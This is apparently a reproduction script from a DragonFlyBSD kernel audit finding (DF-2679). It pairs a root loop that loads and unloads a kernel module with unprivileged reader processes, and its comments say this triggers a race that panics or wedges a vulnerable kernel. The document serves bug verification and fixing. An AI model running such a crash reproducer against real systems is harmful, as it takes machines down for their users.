DragonFlyBSD Kernel Audit
DF-2679 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2679 run: unprivileged reader vs privileged device-tree churn.
# Terminal 1 (root):     ./run.sh churn
# Terminal 2 (root):     ./run.sh walk     (spawns walkers as unpriv user)
# Expected (vulnerable kernel): Fatal trap in sysctl_devices from a walker
#                               process, or a hard IPI-drain wedge, within
#                               a few minutes.
# Expected (fixed kernel): walkers keep running, guest stays healthy.
set -e
cd /tmp/df2679
case "$1" in
churn)
	nohup sh -c 'i=0; while true; do
		kldload /tmp/df2679/dfrace.ko || break
		kldunload dfrace || break
		i=$((i+1)); done; echo CHURN_DONE $i' \
		> /tmp/df2679/churn.log 2>&1 < /dev/null &
	echo "churn loop started"
	;;
walk)
	printf '#!/bin/sh\nfor i in 1 2 3 4; do\n  nohup /tmp/df2679/walker >> /tmp/df2679/walker.log 2>&1 < /dev/null &\ndone\n' > /tmp/df2679/start4.sh
	chmod 755 /tmp/df2679/start4.sh
	chown testu /tmp/df2679/start4.sh /tmp/df2679/walker /tmp/df2679/walker.log
	su testu -c /tmp/df2679/start4.sh
	echo "4 unprivileged walkers started (uid of testu)"
	;;
esac